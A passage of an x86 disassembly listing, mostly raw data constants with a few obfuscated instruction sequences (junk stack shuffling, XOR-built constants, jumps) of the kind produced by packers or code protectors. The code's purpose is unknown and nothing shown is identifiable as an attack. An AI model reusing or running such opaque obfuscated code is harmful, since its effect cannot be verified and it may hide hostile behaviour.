521AFA06h, 7556A0ACh, 0DC3A07ADh dd 5626E14h, 28579CD0h, 0D122E8F5h, 0F04E93FCh, 45B68329h dd 0FBC321F6h, 0CFEF508Ah, 0F541703Eh, 76AD6A1Eh, 636FD841h dd 0C46A3694h, 29CF99F7h, 3382EB5Ch, 9A670DD5h, 0C3D6146Bh dd 21C7923Ah, 992CF654h, 0F4C12AD0h, 4BBEA60Ch, 9C0DDA80h dd 0ED57C533h, 808C32FAh, 6532D8A0h, 0C7943A07h, 5F82C2A6h dd 5E5F197h, 0ACCA973Dh, 1Eh, 5D288662h, 2C11F7ECh, 4AB33A9Bh dd 3EBD0C7Dh, 7A46A4F1h, 0CAD3ADD4h, 0F55EDB4Eh, 0AF75DEA6h dd 16DE3C09h, 7945A370h, 0E1A806D3h, 47106E3Bh, 0AD76D4A1h dd 0FDC3A07h, 743E9C69h, 0D8A301CEh db 32h, 65h, 0E8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], eax push 0FA0h mov [esp], edx push 2707h mov [esp], ebx push 56E1h mov [esp], edi mov edi, 9D74CAAh and edi, 2AA33C59h xor edi, 38D856A2h xor edi, 36099D2Ah mov edx, edi pop edi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push 56BCh mov [esp], edx pop dword ptr [ebx+8] mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_546EAD ; --------------------------------------------------------------------------- db 1Ch, 0B2h, 81h dd 6707CD86h, 52D245B8h, 0FFC50306h, 0DFF33FE0h, 7273E50Eh dd 0B0C70F1Eh, 9DBDBB6Dh, 0DE80Ch, 96860000h, 0D4AB2CEEh dd 0C0E19131h, 0F87DB17h, 665ED8BFh, 0C681D38Bh, 612Dh dd 13E9h, 17F74200h, 83F80788h, 0F36EC510h, 6E98D91Ah dd 47977508h, 1825B9h, 8BDF8B00h, 0DFBF0F3Eh, 8D9EF81h dd 0BF0F0016h, 9EF781D7h, 0E9300DBAh, 13h, 289608F9h, 0B8799179h dd 0AD82975Ah, 53A3867Fh, 81EA2C7Fh, 5F7F2CEFh, 57F18A38h dd 98D0Fh, 60600000h, 0E6816661h, 8F6120CCh, 0BF0F6006h dd 0CEB70FD7h, 4EE8361h, 95E9F1BAh, 1E9835Eh, 0FFA1850Fh dd 6660FFFFh, 8D61F88Bh, 52D4448Dh, 81666006h, 231C93F2h dd 4D2F7D9Dh, 8D896106h, 64D0599h, 0C7F18B66h, 4D051D85h dd 5A8406h, 0C6816600h, 0B52B78EEh, 64D0ED5h, 2E985C7h dd 64Dh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 528FEFC3h, 0FED27A8h, 0B5FFFAB7h dd 64D2795h, 16D18060h, 0BE8h, 2D26AB00h, 6894AD29h, 0FF140C4Eh dd 5D1B52Bh, 615A064Dh, 0F0DB529h, 95FF064Dh, 64D2E55h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0E5C35646h dd 58A12009h, 6A270C4Fh, 1195FF00h, 8B064D05h, 722CEBC0h dd 957ACA06h, 50CF4EBDh, 3F8CFD18h, 2F08F8F6h, 322B2828h dd 5E2DADB8h, 2E2EAEA1h, 0C085DDAEh, 95EA474Bh, 0A6F5162Dh dd 0EBD97C35h, 841E7108h, 41000032h, 0BAAE902h, 47680000h dd 0E90652D6h, 0FFFB6CE6h, 52D71568h, 6CDCE906h, 0A168FFFBh dd 0E90652D8h, 0FFFB6CD2h, 52D94C68h, 6CC8E906h, 0D68FFFBh dd 0E90652DAh, 0FFFB6CBEh, 52DBFF68h, 6CB4E906h, 9868FFFBh dd 0E90652DCh, 0FFFB6CAAh, 52DDFA68h, 6CA0E906h, 0CC68FFFBh dd 0E90652DEh, 0FFFB6C96h, 17B91D7Bh, 6A83067h, 0F99B3D56h dd 0E98B4B49h, 0DB7D5939h, 0B870C42h, 207929CBh, 306616B8h dd 415404A6h, 3088F597h, 44619C4Ah, 0BD8A1999h, 84544373h dd 3A8C0B9Ah, 428B5B33h, 82578114h, 0B78F494Ch, 82CB0B87h dd 62D09A60h, 0BDC4308Ah, 0E86FDC6Fh, 5F0DF3CBh, 0DC92F196h dd 25FEE22Bh, 0A2993EB2h, 0AAE919F1h, 7220592Eh, 1368B127h dd 3EB27527h, 6DBE1099h, 0BE19FF6Bh, 0F194BC6Eh, 0F9E3CB89h dd 3E87492Dh, 4B55CAC6h, 40B213h, 73ED0000h, 8D853319h dd 510292F1h, 0BE419967h, 1E6786DFh, 0CAA210DAh, 3ED243E4h dd 8112C099h, 4A4C8257h, 522ADB8Ch, 8E637522h, 0CBB70C55h dd 993ED319h, 0EF0962B4h, 134B6511h, 0DDDBh, 0F89D1600h dd 0BDD50BE0h, 1E74119h, 92F18D53h, 81D61FD0h, 37A4F121h dd 68A17662h, 0FBA9E2B7h, 0C7F53E9Ah, 0FF350ACEh, 0C6A04296h dd 8CD50396h, 0F192C3A8h, 80583D92h, 459804DEh, 0A29674F9h dd 534134DBh, 2CDD3A53h, 0F8E0B5E3h, 9F0DD723h, 0CDA4E1C7h dd 7021993Eh, 0AE2D6898h, 0E41DF2E4h, 18FE5E33h, 993ECD6Ah dd 3C8536E7h, 1C8A541Ah, 84C15E44h, 663E9F8Eh, 8E84D280h dd 0ED9E4F9Fh, 26B2E515h, 3D5585DDh, 4B47F799h, 8F3BD08Bh dd 24798076h, 95ED3h, 22B4E400h, 11C7D080h, 4D4BF6Fh, 0F4E2B262h dd 0E6F0A252h, 0FA75AB44h, 0EC9C3E98h, 0D9892BADh, 0C77719BDh dd 0FB680ACEh, 640FBDA3h, 0FD8C9944h, 54437330h, 26B9014Bh dd 5C0DA281h, 29ADE513h, 1ABED787h, 0BD87B178h, 0F091774Fh dd 6D993E8Dh, 49FBE7BCh, 0E4993E8Dh, 0F3F5992h, 8D054E8Ah dd 134B20F3h, 0AF79h, 0F89DB400h, 563501A7h, 0FCADCB41h dd 35A1F127h, 448F7460h, 0AFDF92F2h, 78A6EFE7h, 0FFD9BE1Dh dd 99FCAC4Eh, 0DA0A6A3Fh, 92D61FB9h, 16825AC8h, 41DA5E9Bh dd 1C74BD3Eh, 3F0FF936h, 23C57699h, 4D25935Dh, 8EC3B967h dd 0A88369Fh, 10BEF7CCh, 0CBA35482h, 3DDFF79Bh, 16D1058Dh dd 8076CE8Bh, 900F60B5h, 0B2000008h, 9E4EF0E6h, 8D3DDFF9h dd 8030D206h, 7020C214h, 7912B422h, 4D2C043h, 0F1E7B262h dd 0DFF79F4Fh, 0D0088D3Dh, 8369C12Eh, 994464D5h, 9DF6C352h dd 653FE1F5h, 428301F9h, 0E2CC3F42h, 0FE78C755h, 5337C27h dd 0DFA64890h, 8E0F89Dh, 4419BFD8h, 7C51870Eh, 0F4499243h dd 5F01D7BEh, 8961CF99h, 3EACC2A3h, 0B68E3F99h, 0ACC8765Ch dd 6D45993Eh, 3EACD987h, 0F4A55699h, 752056ABh, 0B7E7C163h dd 391FF7DFh, 993EAC8Bh, 0E00E5708h, 0B455EAB5h, 992F4188h dd 0BBA410E8h, 5B7D1ABBh, 0F4634D86h, 0BE135C91h, 701E045Eh dd 0ED993F05h, 7E0FF33Ch, 0F1208528h, 1F764E9Fh, 0E33D17B9h dd 85284FFDh, 0D21BCC20h, 0FE7F1A4h, 4F24B4DFh, 8C78CD16h dd 208528DBh, 0AD95D6A0h, 36A2F3E8h, 0D5772861h, 93687025h dd 44940333h, 4D9FF96h, 0E99E82CBh, 0B9208528h, 0D1C4BCEDh dd 0E0B56507h, 0DD723F8h, 30E1C79Fh, 8026D25Ah, 4EDF2B14h dd 870D6A9Ch, 2A559E4Fh, 0CDFDD779h, 0FF380DC9h, 3DA872B6h dd 47A77C5Ch, 0D1E0B361h, 0CE7F3026h, 2E5F451Dh, 0AB2D1EF3h dd 684098FDh, 1EF3D482h, 0EFA0512Dh, 0F37D2E1Ah, 0C6182D1Eh dd 42B55365h, 5F3F8F2Bh, 7A000004h, 0F18D39E7h, 9D4BFD92h dd 450F92F1h, 992F1A1h, 92F1A157h, 0AB83F1BBh, 1C831C7Bh dd 0F6993B04h, 0D52D7627h, 3EAFDAEFh, 0EBA65799h, 7A26BA6Ah dd 4DA2B80h, 3E000007h, 2ADA7C5Ah, 19C96B6Dh, 0CBC5E7Ah dd 0FCAC4E88h, 59E4096h, 983E54CFh, 855346F6h, 736333E3h dd 647421D1h, 17FD55C2h, 99446569h, 738A57E6h, 2A80F507h dd 0E62F93A7h, 0EED4DDB8h, 92F24140h, 41FCAA90h, 0C87992F2h dd 0E6BB6C1Dh, 553BD09Ah, 92F241A7h, 0EAC27324h, 4515CD04h dd 0F7994A99h, 9660BB72h, 0BE6F672Bh, 3C3300E6h, 0FFB09F92h dd 78C8371Dh, 622C4EF3h, 65361CF4h, 0E25540A5h, 90FC5C31h dd 0AC90FC61h, 0A9ED3676h, 0B39971DFh, 5B8E1E07h, 0CBFBD384h dd 0BC6C0ECAh, 0CD44FFD9h, 0CF3C7628h, 659297Ah, 0AFE90000h dd 0C2D58527h, 0CFC47416h, 0DDB76709h, 0EBA757F9h, 7AB049EBh dd 97399DF5h, 8426B2E7h, 7214C2D4h, 6305D3C2h, 0AB89EF6h dd 87994467h, 0BD872BF8h, 1C0B774Fh, 22144BECh, 5EB438Ch dd 993EB424h, 0E51BF0A1h, 1D5328B0h, 51875C7Ch, 0D7FF9348h dd 0BF15126h, 993EB45Dh, 378B29DAh, 4560BF6h, 8DFBC5ABh dd 0D3EECFB5h, 0D23E9F8Bh, 26C4F371h, 0E9977DCDh, 669F8C3Bh dd 90BB04B5h, 3C24D2B8h, 0F0A19F8Ch, 85379D3Fh, 0D59F8C3Ch dd 3CE7957Bh, 0B3649F8Ch, 3CD8866Ah, 723C9F8Ch, 0F462C04h dd 8CA5DF11h, 6F1A06DBh, 33A5DF10h, 0A5DF1080h, 823D9BFAh dd 86C71B15h, 985DAE03h, 0AA000005h, 9646E8EEh, 8535D701h dd 7828CA0Eh, 6818BA1Ch, 710AAC2Ah, 0FCDAB83Bh, 0E9EFAA5Ah dd 0D7FF9747h, 0C8108535h, 7B61B926h, 994467CDh, 87EEBB4Ah dd 954352BDh, 0EF260CE4h, 6C994461h, 0E4B3E3BBh, 64399DF7h dd 0DC317A2Bh, 8F494C7Ch, 0C3A981BAh, 99446215h, 6A98E192h dd 0A5D5AD2Bh, 7C9EE7EFh, 0A87DEBB6h, 13B52372h, 0D1A63263h dd 9DEFA9Bh, 2B1B541Eh, 0D2CC6E6Ah, 1354F436h, 894D4979h dd 0CCCD7BB4h, 0B5FE370Ch, 1C7A2h, 0BD87DD00h, 0ED1D774Fh dd 0E6582DA9h, 0C3AFAE6Eh, 236C1D8Ah, 3F2A8E3Fh, 872DE99h dd 67E32DAEh, 1CCDF841h, 5604EA44h, 0D3993F13h, 9884D922h dd 993F13E8h dd 712555ADh, 13AA583Eh, 7627993Fh, 0DFB7F0C5h, 3F134BF9h dd 0CE17C899h, 0FBC5AB04h, 13D28066h, 9E4F993Fh, 0B4E515EDh dd 0B6676F27h, 0ED9B81E1h, 6A993F13h, 395A08B9h, 0A4FE569Fh dd 5D7B1A4Ah, 3DEB4F88h, 0BA993F13h, 2BDCC009h, 0A89F8C45h dd 0F0A555F7h, 0B8DD13E8h, 0EEB87E20h, 1E4EA880h, 35196274h dd 0A5D9615Ch, 0AE6740ACh, 37A6DFAAh, 3D12C3EEh, 0D9549F51h dd 87E83AA5h, 0E1E39B75h, 346107h, 879C0000h, 47774FBDh dd 7AB38850h, 52F3D931h, 0CF993E8Dh, 0AB5D491Eh, 46993E8Dh dd 0B7DC0C66h, 8E0FBD21h, 0DB8C993Eh, 5567C892h, 134B20BBh dd 0C841h, 7737C00h, 0C651232h, 0CD098B24h, 0F0A5D31Ch dd 0B5DD13E8h, 7F164C21h, 474E8459h, 1089B991h, 5A0BCBCBh dd 0E515EF11h, 1B5429ADh, 2BCE0831h, 438C7414h, 0F20C7A5Fh dd 745ECA92h, 8919958h, 1BF893B2h, 45F5E731h, 90D9FD97h dd 3A53362h, 2D05733Dh, 42201747h, 0BE39499h, 4B20B8DBh dd 0A7316412h, 0BCD6065Eh, 0CAC8781Ah, 29EE510Ch, 73C87A2Ah dd 3A622h, 0DAFC9C00h, 0C90F8838h, 0BC1C7727h, 0AC2A6A1Ah dd 9E385A0Ah, 0B22D63FCh, 0A454F6E0h, 9141E3F5h, 7F2FD105h dd 0B320C216h, 68C7755Bh, 0B5449944h, 0E1F59DE8h, 250B653Fh dd 92F18D77h, 0CCFA43F4h, 0DCB8E8C9h, 88EC25FAh, 92F18DDAh dd 53F5A657h, 0E0F89D8Ch, 1BC0D50Bh, 518A5F77h, 10E5F1A3h dd 0BD8426D7h, 0F20D35E7h, 0D47F992h, 2B9792F2h, 0E672838h dd 0FD418AB8h, 7EDC533h, 9944D9D0h, 7BC79C4Dh, 856B43B1h dd 9F91FB60h, 18712CDDh, 0DE807A06h, 30D3889h, 63350000h dd 7621D173h, 8310C062h, 9103B355h, 9FF3A345h, 0C6FC9537h dd 0EB8D4949h, 0D87A5E3Bh, 0C6686E28h, 0B7597F16h, 5E0CF24Ah dd 0DB994469h, 0F89D7F4Ch, 8E25D3B9h, 0F1A292F1h, 60356B40h dd 4610D678h, 411A00D8h, 0BE993EAAh, 9A4C380Dh, 14993EAAh dd 9E385C7Fh, 0ADF90C9h, 4318BED4h, 9B3D5C0Ah, 0D811DBC6h dd 1E7858E5h, 3EAA8A38h, 0D560799h, 30D0EA43h, 0BC134B39h dd 52h, 331973F7h, 92F18D85h, 0C4085102h, 2AFB53FAh, 3F920A3Ch dd 7B7C714Bh, 0A5560730h, 0E446E7CDh, 2A96993Eh, 0B3D59F90h dd 0CDF841F6h, 8D62761Fh, 0E2CEA354h, 993EAC30h, 63079CBh dd 134B3F0Ah, 4C5F41ADh, 5AB3DBB4h, 0A4ED9E38h, 0EC91h dd 0F89DCC00h, 7526B2E3h, 0AC2C6D9Dh, 7EAE0E63h, 0B1EABF19h dd 7E583A68h, 0B62273A9h, 0EEEAABE1h, 9201E64Ch, 1A7B92F1h dd 296C1CBEh, 0C48EDAAFh, 919B492Fh, 671892F1h, 1884DEB6h dd 0D87F4F6h, 0DDD2DFC9h, 0F401E52Eh, 71993F5Ch, 8E581EC0h dd 9CDC9F9h, 0E997FB34h, 63993F5Ch, 98D1A632h, 82563FEDh dd 624820D1h, 9F8F142Ch, 0F020F8A9h, 0F05C34A2h, 872238CFh dd 94B6FF3Dh, 86C44EBAh, 8328CE9h, 0D50191BFh, 76C9CB1Ah dd 0D7287D80h, 1ABh, 33D50197h, 22C41483h, 15B72172h, 5A72F65h dd 0F7993D55h, 0E7AB285Eh, 0FC9D4DEFh, 0C8A3ADCh, 1D7828CAh dd 54AC19BBh, 446AC06Eh, 0E1AE3D99h, 55BE0773h, 0D67A79E1h dd 0BA6819BFh, 82B0F9DFh, 0F2D98D10h, 4829CE0Ah, 5045F597h dd 1680B088h, 7B5577C0h, 438C4C4Bh, 4FBD87FEh, 8DF09177h dd 0BC6D993Eh, 8D49FBE7h, 92E4993Eh, 20611F59h, 9D0B134Bh dd 33000000h, 0F9429603h, 0E0F89DB4h, 19BDD50Bh, 92735844h dd 0A8ED92F1h, 0B7DE8E30h, 36004C21h, 0FD0AF0C8h, 7A993EC3h dd 4285F1C9h, 4E4919Eh, 0FBD5F740h, 3B10C8CBh, 0AB75B902h dd 0EA7F653Dh, 679F8E4Eh, 5484DEB6h, 1D4B9442h, 0FBF6175h dd 53985383h, 0F1807659h, 0D94B9Ch, 2F690000h, 425505A7h dd 4F44F496h, 5D37E789h, 6B27D779h, 0FA30C96Bh, 17B91D75h dd 4A63267h, 0F2944254h, 0E3855342h, 8A381E76h, 799446Bh dd 773AB78h, 8A46BD11h, 8DBB0466h, 7F2FD105h, 5920C216h dd 0BE0F89Dh, 7C1BC0D5h, 9D4E875Ch, 0FD6B35FBh, 62043F25h dd 0D0819944h, 8D0C5FBh, 0F9DFB666h, 36A2F121h, 0D4AC98EDh dd 4ECE1B60h, 0D8866C45h, 55CE1B60h, 0E81EF3A4h, 675227B1h dd 644A4C9Dh, 0CE1B60B6h, 1CD18233h, 0F4A161CAh, 39242E4h dd 0C5CDFDD5h, 605604EAh, 22D3CE1Bh, 1A639C71h, 613565C5h dd 8D0C775h, 0D30391BFh, 0E6CBC8FEh, 1B605200h, 6D1ECFCEh dd 0A2346298h, 0D9FD97CDh, 8043AC76h, 6F5798ECh, 6010B226h dd 7DCEA335h, 3, 9D337838h, 0D006DBFBh, 83E13C5h, 3D73488Eh dd 71A77C5Ch, 0AAE0B521h, 0E319EEE8h, 1A5025B1h, 548A5F79h dd 3DC09543h, 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch dd 0E682404h, 89000056h, 2E682434h, 89000039h, 0DE68243Ch dd 8B0652D4h, 0C4832434h, 3C8B5404h, 4C48324h, 3BBB68h dd 24348900h, 0FF08478Fh, 815F2434h, 4C4h, 2434FF00h, 4C4835Eh dd 0FB6151E9h, 54AA65FFh, 4EDAB044h, 45873DAEh, 52DFCAB8h dd 0FFC50306h, 8E93EE0h, 77477457h, 9E2A3F03h, 0C3B82E66h dd 626E6D0Bh, 41A7A50h, 399FE29h, 0C4215211h, 6C0EE145h dd 587F4354h, 0D1D1F335h, 0E6B5908h, 1ED1756Ch, 3AD6AE4Eh dd 0BE39BA4Fh, 32F0849h, 0BFD0815Ah, 7B203C2Fh, 0D7EF826Dh dd 76B1404h, 0F6B0456Bh, 7960880Bh, 89F42524h, 5AE06847h dd 0F4A8D96Ch, 0E59ABE0Fh, 0E4EB5867h, 4C03420Fh, 6F8E3143h dd 0FC8D8D76h, 0F0652E0h, 8D89C2B7h, 64D0599h, 0FA30BF66h dd 33158509h, 85C7064Dh, 64D051Dh, 6AA4h, 9BD08166h, 9595896Eh dd 0C7064D31h, 4D02E985h, 6, 0D8BF0F00h, 2D19B5FFh, 95FF064Dh dd 64D2E55h, 6ADF8B66h, 1195FF00h, 8B064D05h, 3479EBC0h dd 70655194h, 61EF31AAh, 233B364h, 78FA5663h, 0E29D3CCAh dd 6477F0C6h, 0FF3A9579h, 6547C9Ah, 37877FB4h, 2E4C2F0Ch dd 5EC6687Ch, 0B2420B04h, 49E29EB7h, 27EC5838h, 723295A1h dd 5D9082A0h, 7EB1B876h, 100D2B09h, 5129596Fh, 0D6B31920h dd 0F0B6ECD9h, 32005007h, 1EE0664Fh, 96FA6C87h, 90691EEAh dd 0A3A5037Ah, 0E02CFD78h, 9161F2E4h, 0E50295B1h, 0BDED6094h dd 14E8h, 0D68A900h, 2EBDB55Fh, 70AA7903h, 0FA40F039h dd 753DA402h, 198D89AAh, 5F064D20h, 9E253BBBh, 77C78121h dd 8B00005Fh, 4D255D85h, 0FF63306h, 1E87h, 0CF806000h dd 13E86Ch, 0BDC90000h, 0E3FA831Ah, 0F19EE43Ch, 5C4EB8CDh dd 0F3695375h, 8B61599Fh, 8D89370Ch, 64D073Dh, 5C93C181h dd 9D8B475Eh, 64D05D9h, 0C7D5F181h, 95234664h, 64D2C69h dd 5DC5E981h, 0DA8B119Ah, 0E1BD8951h, 8F064D0Ah, 858B3704h dd 64D0A31h, 16840Fh, 0AE80000h, 4D000000h, 0F9AAC813h dd 740C2E5Ch, 9DBD0105h, 58064D0Bh, 0E904EE83h, 8, 0B87AAF53h dd 58208AA5h, 0A178FE81h, 850FFFFFh, 19h, 0E903D480h, 28h dd 0E2D55EF9h, 41DE2F0Eh, 42419191h, 0F78E9C40h, 1DBD2973h dd 0E9064D0Eh, 0FFFFFF6Bh, 0F5D61715h, 72B62E66h, 8B7CC7Ch dd 0ABE9h, 2E8D5000h, 72B11C3Fh, 0ACABDA5Fh, 92B395A7h dd 95A1F445h, 0ABDA00B3h, 5D20A7ECh, 0F46BB291h, 752096B1h dd 0B79B5520h, 0A5BCF26Bh, 94A19692h, 99603A75h, 0BD329FB7h dd 0B2E9B599h, 0F292A59Ch, 7695ACA3h, 97B1EFh, 0A5B4F94Eh dd 6B5C009Fh, 924AF07Bh, 52D0008Ah dd 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h, 0B000D77Dh dd 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h, 0F79B5720h dd 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h, 0EEA9FD8Fh dd 0B6F66DB4h, 7293BCE1h, 97B3EDh, 0E7A601E8h, 83323D94h dd 4B65305Fh, 125BE9h, 0E5156800h, 92E90652h, 68FFFA9Ch dd 652E60Ah, 0FA9C88E9h, 0E6F868FFh, 7EE90652h, 68FFFA9Ch dd 652E817h, 0FA9C74E9h, 0E89D68FFh, 6AE90652h, 68FFFA9Ch dd 652E959h, 0FA9C60E9h, 0EA0B68FFh, 56E90652h, 68FFFA9Ch dd 652EACAh, 0FA9C4CE9h, 0EB5A68FFh, 42E90652h, 68FFFA9Ch dd 652EC9Bh, 0FA9C38E9h, 0ED9F68FFh, 2EE90652h, 68FFFA9Ch dd 652EEEEh, 0FA9C24E9h, 0F03C68FFh, 1AE90652h, 68FFFA9Ch dd 652F1EDh, 0FA9C10E9h, 0F2D768FFh, 6E90652h, 32FFFA9Ch dd 0DABAC66Ch, 7D5D690Fh, 21010DB3h, 0C2A2AE54h, 454753F9h dd 7F25EEA3h, 26CC9373h, 0C86E3A1Ah, 6E14DCBCh, 0CFFECB62h dd 0D4FC3DB1h, 75357580h, 0DC3A07ADh, 10B68114h, 0B27CD243h dd 3A97A30Ch, 3F8CD19Bh, 0B6B7CD03h, 0AF059FE9h, 0FE6F3CE2h dd 4D4B80AFh, 2E8CD137h, 93F1BE64h, 69B821C7h, 31602D96h dd 0D5011443h, 6A95CF3Dh, 0B65832D8h, 4CF2BC1Ah, 0B9862CF6h dd 4891F948h, 0CF000000h, 4A8FDDF8h, 3820681Bh, 2B70D9D1h dd 116006CDh, 0C591EF3Ch, 8BE1521Fh, 9DCC1BC1h, 0D50220D7h dd 8451F7BFh, 0ADDC5E26h, 0D50220D3h, 0BF8CF55Eh, 4288BCA8h dd 5E2987D6h, 47FD69B8h, 5B428A9Ch, 0DB31B6h, 756F0000h dd 84FC2BADh, 0ADDB4F20h, 0B00EDB44h, 167441E7h, 7DDBA84Eh dd 6CCA0FB5h, 97ABFAA0h, 4F2485E6h, 0A63901DBh, 562A59DBh dd 0DBDB4F1Ch, 0DE3C0972h, 9B046D13h, 852BF856h, 0E4F847B8h dd 5C92D915h, 0CA1940B1h, 0AF551D7Bh, 6F3795E2h, 369F7AC9h dd 2DC2F136h, 0E4D137D0h, 53A06F7Bh, 0B58228F5h, 84631D44h dd 65CED501h, 0D29A3B16h, 3C315E8Dh, 0B720CAF2h, 0FAC72572h dd 0C7168754h, 0EEFAA069h, 879F450Eh, 98791745h, 0AA749267h dd 8A00000Fh, 32121EC4h, 0D5B5C167h, 7959650Bh, 1AFA06ACh dd 9D9FAB51h, 0D77D460Bh, 7E24EBCBh, 20C69272h, 0C66C3414h dd 275623BAh, 0D4FC3B59h, 758DCDD8h, 63C106ACh, 963C0497h dd 0A0EF58C9h, 73E4AC8Ch, 0F86AF019h, 7D89F22Fh, 8FDDF833h dd 20681B4Ah, 235FD138h, 3EC6BF9Dh, 0D09AF080h, 0B208DB2Ah dd 20E93FE5h, 1544117Ah, 0D502105Fh, 46B1B321h, 0B65B523Ch dd 0B9DBh, 18479400h, 0D5021C68h, 0A16B7E60h, 6530BEBEh dd 6680C8FCh, 10C3DA03h, 0AD75F9C1h, 9864C207h, 65B425F2h dd 0C3693290h, 24A4C7F6h, 1AE2DB4Fh, 0C0886874h, 1999D51Ah dd 0D8862612h, 89643988h, 0C066334Ch, 48344C7Bh, 94FDDB4Eh dd 38B7E62Bh, 0D9D1376Fh, 0CE076470h, 562A599Eh, 61CAF1D7h dd 0C8953B03h, 0CC350857h, 0BA602987h, 5F05CEAEh, 79F57347h dd 2A481D98h, 0EB5h, 713B97Fh, 0AAB65C27h, 4E5A00CAh, 0EFFBA16Eh dd 94A0460Fh, 70391E92h, 17DEBECAh, 0B9856571h, 5F270713h dd 4916ADB9h, 0FC3A661Ah, 80C0CBD4h, 0C106AC75h, 0A1F09663h dd 3FE5AD8Dh, 0AD75E933h, 14DC3A07h, 0B882626Eh, 4DB65C25h dd 103CC08h, 46030880h, 348329F0h, 9339015Fh, 6B7CB887h dd 5E23D89Eh, 46AF551Eh, 0FDDA16F7h, 4ADDA7D8h, 9B0CD97Fh dd 3784C932h, 0F95248FBh, 4CBD8A30h, 0FF21FE18h, 50C18E34h dd 0F66998E7h, 0FBD137BBh, 6EF987B6h, 0CF38D501h, 6F255B8Ah dd 0A30CD501h, 0AAC9F23Ah, 6FBAA79Fh, 74C10666h, 56A54B16h dd 6069B427h, 8FD43DD3h, 116D1342h, 6EC4D72Ah, 499801A7h dd 303C9974h, 79409EEBh, 0EB47DD3h, 5281D041h, 0CD17877Bh dd 0CA286DD6h, 70505C02h, 0EEA02A8h, 0B69E91C1h, 0DC7C3E1h dd 0A76D0000h, 4A15F501h, 0EEB898A4h, 8F5C3C48h, 34FDDDE9h dd 6880828Eh, 0ACB85E27h, 535F05CCh, 0F501A773h, 9BA74D15h dd 78083704h, 0B9D4FC3Ah, 0AD756EAEh, 8FED3A07h, 85522C8h dd 4F20A7D9h, 0B8218ADBh, 25478E69h, 2CFEB1E0h, 0AA13D138h dd 0A671CF9Eh, 0FFD6B100h, 7EF9286Dh, 0A3CAEB2Fh, 363E6D3Ah dd 4ACEB4F9h, 0D56D68DCh, 2BC8C65h, 3Fh, 8FDDF840h, 7A20EC4Ah dd 0B0AFDE2Bh, 41D1386Eh, 693593D8h, 1C9809D6h, 86E227A2h dd 0C132FF68h, 0E79B4C58h, 0BFD5021Eh, 654551F7h, 826F399h dd 0D21h, 6B11DB39h, 0D278409Eh, 0F8521A69h, 1B4A8FDDh dd 0D1220373h, 0D23075DEh, 7858640Ah, 67C50AB0h, 97E9189Ah dd 9AD4FC3Dh, 8AFBC831h, 4A8B663Bh, 3FAEDD22h, 0D2CACF21h dd 0FCC62469h, 602B8956h, 137CEDBAh, 511977C4h, 0F7BF9FABh dd 87569886h, 0B61F63EBh, 0FEC62471h, 0D44F3158h, 79E2CEA9h dd 5B7A552Ah, 0EA9DCC11h, 57C492F8h, 3414D6EEh, 0C3988616h dd 0CA8A5h, 20C68C00h, 0C3693414h, 670DD7B7h, 8AE7B5Bh dd 0AD531CFCh, 48099FA1h, 0EDCDD97Fh, 94748026h, 361622C8h dd 25BCC86Eh, 38572958h, 0CFDAD4FCh, 20D0A48Fh, 8C49DB4Fh dd 896C9BE0h, 1ED12204h, 9663F6C0h, 49BA87F0h, 79BE27FAh dd 0A1AD531Bh, 9966F9C1h, 4CB526F3h, 3B31A47Fh, 4AE8C7F6h dd 62AFCAE5h, 0AF324D33h, 2C7BE4CEh, 9BE51459h, 96CEAF32h dd 670DD72Dh, 0A8C0299Ah, 987BAAFCh, 226D8B60h, 1200000Ch dd 0BA9AA64Ch, 5D3D49EFh, 1E1ED93h, 0A2828E34h, 252733D9h dd 5F05CE83h, 6AC7353h, 0A84E1AFAh, 4EF4BC9Ch, 0AFDEAB42h dd 0D4FC38D1h, 75155560h, 0DC3A07ADh, 43A16E14h, 0A604D177h dd 2A6633D9h, 0CCB40E6Bh, 654962CAh, 0BF1F9FFh, 0F8849E59h dd 7833B016h, 71000006h, 4A8FDDF8h, 2AC810Eh, 0D52424EAh dd 0A1AF5988h, 2992D121h, 6D3997E4h, 521A78C7h, 0F8C0A0ACh dd 1E568552h, 89D4FBDCh, 0C0C0EF3Ch, 71D4FBDBh, 0DB9FE108h dd 3C92D4FBh, 1766CF75h, 8ED3993Ch, 0E4E8505Fh, 0BD0B47CAh dd 5A5CC65Fh, 3FEF44C3h, 55BE5490h, 0B2CA3306h, 98441ED4h dd 666D8B60h, 0CE00000Bh, 76566208h, 19F905ABh, 0BD9DA94Fh dd 5E3E4AF0h, 0E1E3EF95h, 1BC18ACFh, 0C2682F0Fh, 640AD6B6h dd 0AB07858h, 6B9A67FEh, 0D4FC3815h, 75D1111Ch, 96DE3CADh dd 7DB1571Fh, 9F080CE6h, 9F32FC5Ah, 0F26330D6h, 0FC4BBC89h dd 5B01C927h, 0AC987E8Eh, 16BF1131h, 5B9C6B0h, 0A4040000h dd 0DB4F20D0h, 9BE08C49h, 22045C6Ch, 377CE5D1h, 6FA011D9h dd 764F141Fh, 4A2A369Fh, 0C20FDC82h, 156C2E86h, 0CA193831h dd 3BBE6EFh, 0F4BF5C84h, 3481C62Fh, 18670DD6h, 0E573C6E9h dd 5584D1CAh, 0CEAF5C2Bh, 7B4E9D06h, 8116FA12h, 0C99E987Bh dd 0AB4ABh, 14BA8000h, 0B75D2808h, 5B01CBABh, 0FCA26F4Fh dd 0A14710F0h, 3C1D9395h, 0E1C1CD73h, 8868741Ah, 2A0A16BCh dd 19B0BC62h, 36631D4Ch, 0C3CED4FCh, 7AD7583h, 0F39964C2h dd 0D6AAD926h, 5BDB4F20h, 683389F2h, 409E73C2h, 0A705D278h dd 0ECF76CDDh, 29A6212Ch, 0C995F3C0h, 5E04CD23h, 0B7AD1B91h dd 19E68C54h, 51373FA8h, 0DC5EE813h, 0F07DB016h, 0BB000004h dd 4A8FDDF8h, 2203381Bh, 0B3E22FD1h, 0D4FC3DCDh, 3DC5BBEAh dd 36CD4FCh, 0AD80CF38h, 7EE78D57h, 6D13DB39h, 13B98161h dd 3D5D1746h, 